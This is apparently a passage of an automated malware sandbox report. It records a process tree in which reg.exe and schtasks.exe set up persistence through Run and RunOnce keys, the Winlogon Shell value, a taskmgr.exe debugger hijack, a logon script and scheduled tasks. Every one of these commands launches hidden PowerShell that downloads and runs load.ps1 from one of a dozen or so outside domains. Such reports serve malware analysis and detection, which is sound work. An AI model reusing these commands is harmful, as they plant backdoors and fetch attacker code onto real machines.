                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                              3⤵
                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                              PID:5328
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc onlogon /f
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            PID:3236
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc onlogon /f
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5240
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc minute /mo 5 /f
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            PID:4580
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc minute /mo 5 /f
                                                              3⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5692
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1828
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                              3⤵
                                                              • Adds Run key to start application
                                                              PID:3328
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            PID:4228
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                              3⤵
                                                              • Adds Run key to start application
                                                              PID:5772
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                            2⤵
                                                              PID:856
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                                3⤵
                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                PID:2796
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                              2⤵
                                                                PID:1260
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                                  3⤵
                                                                  • Modifies WinLogon for persistence
                                                                  PID:3372
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5844
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
                                                                  3⤵
                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                  PID:2368
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc onlogon /f
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                PID:5624
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc onlogon /f
                                                                  3⤵
                                                                  • Scheduled Task/Job: Scheduled Task
                                                                  PID:4860
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                2⤵
                                                                  PID:5912
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                    3⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2600
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:5308
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                    3⤵
                                                                    • Adds Run key to start application
                                                                    PID:2216
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                  2⤵
                                                                    PID:5524
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                      3⤵
                                                                      • Adds Run key to start application
                                                                      PID:5324
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                    2⤵
                                                                    • Executes a command shell one-liner
                                                                    PID:5752
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                      3⤵
                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                      PID:5364
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                    2⤵
                                                                      PID:6084
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                        3⤵
                                                                        • Modifies WinLogon for persistence
                                                                        PID:3584
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                      2⤵
                                                                        PID:5664
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /f
                                                                          3⤵
                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                          PID:5788
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /sc onlogon /f
                                                                        2⤵
                                                                          PID:3544
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /sc onlogon /f
                                                                            3⤵
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:3740
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /sc minute /mo 5 /f
                                                                          2⤵
                                                                            PID:4816
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')\"" /sc minute /mo 5 /f
                                                                              3⤵
                                                                              • Scheduled Task/Job: Scheduled Task
                                                                              PID:2692
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                            2⤵
                                                                            • Executes a command shell one-liner
                                                                            PID:988
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                              3⤵
                                                                              • Adds Run key to start application
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5740
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                            2⤵
                                                                              PID:4392
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                                3⤵
                                                                                • Adds Run key to start application
                                                                                PID:3624
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                              2⤵
                                                                                PID:6052
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                                  3⤵
                                                                                  • Event Triggered Execution: Image File Execution Options Injection
                                                                                  PID:5128
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                                2⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:5404
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                                  3⤵
                                                                                  • Modifies WinLogon for persistence
                                                                                  PID:5324
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                                2⤵
                                                                                • Executes a command shell one-liner
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:5720
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /f
                                                                                  3⤵
                                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                                  PID:1336
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc onlogon /f
                                                                                2⤵
                                                                                • Executes a command shell one-liner
                                                                                PID:5280
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc onlogon /f
                                                                                  3⤵
                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                  PID:5260
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc minute /mo 5 /f
                                                                                2⤵
                                                                                  PID:5296
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')\"" /sc minute /mo 5 /f
                                                                                    3⤵
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:5512
                                                                              • C:\Windows\explorer.exe
                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')"
                                                                                1⤵
                                                                                  PID:1728
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')"
                                                                                  1⤵
                                                                                  • Badlisted process makes network request
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:5012
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell
                                                                                  1⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2232
                                                                                • C:\Windows\explorer.exe
                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                  1⤵
                                                                                  • Modifies Internet Explorer settings
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:2092
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://mevideo.co/load.ps1")"
                                                                                  1⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:4384
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')"
                                                                                  1⤵
                                                                                  • Badlisted process makes network request
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:4872
                                                                                • C:\Windows\explorer.exe
                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')"
                                                                                  1⤵
                                                                                    PID:1080
                                                                                  • C:\Windows\explorer.exe
                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                    1⤵
                                                                                    • Modifies Internet Explorer settings
                                                                                    • Modifies registry class
                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:1424
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')"
                                                                                    1⤵
                                                                                    • Badlisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3568
                                                                                  • C:\Windows\explorer.exe
                                                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://digitalconsulting.techvmc.co.in/load.ps1')"
                                                                                    1⤵
                                                                                      PID:2296
                                                                                    • C:\Windows\explorer.exe
                                                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                      1⤵
                                                                                      • Modifies Internet Explorer settings
                                                                                      • Modifies registry class
                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2100
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
                                                                                      1⤵
                                                                                      • Badlisted process makes network request
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:4056
                                                                                    • C:\Windows\explorer.exe
                                                                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
                                                                                      1⤵
                                                                                        PID:2904
                                                                                      • C:\Windows\explorer.exe
                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                        1⤵
                                                                                        • Modifies Internet Explorer settings
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:4692
                                                                                      • C:\Windows\explorer.exe
                                                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')"
                                                                                        1⤵
                                                                                          PID:648
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')"
                                                                                          1⤵
                                                                                          • Badlisted process makes network request
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4536
                                                                                        • C:\Windows\explorer.exe
                                                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                          1⤵
                                                                                          • Modifies Internet Explorer settings
                                                                                          • Modifies registry class
                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:1296
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')"
                                                                                          1⤵
                                                                                          • Badlisted process makes network request
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1960
                                                                                        • C:\Windows\explorer.exe
                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')"
                                                                                          1⤵
                                                                                            PID:4232
                                                                                          • C:\Windows\explorer.exe
                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                            1⤵
                                                                                            • Modifies Internet Explorer settings
                                                                                            • Modifies registry class
                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:3016
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')"
                                                                                            1⤵
                                                                                            • Badlisted process makes network request
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1052
                                                                                          • C:\Windows\explorer.exe
                                                                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')"
                                                                                            1⤵
                                                                                              PID:4136
                                                                                            • C:\Windows\explorer.exe
                                                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                              1⤵
                                                                                              • Modifies Internet Explorer settings
                                                                                              • Modifies registry class
                                                                                              • Suspicious behavior: AddClipboardFormatListener
                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:2908
                                                                                            • C:\Windows\explorer.exe
                                                                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')"
                                                                                              1⤵
                                                                                                PID:3932
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')"
                                                                                                1⤵
                                                                                                • Badlisted process makes network request
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:1984
                                                                                              • C:\Windows\explorer.exe
                                                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                1⤵
                                                                                                • Modifies Internet Explorer settings
                                                                                                • Modifies registry class
                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:916
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')"
                                                                                                1⤵
                                                                                                • Badlisted process makes network request
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4168
                                                                                              • C:\Windows\explorer.exe
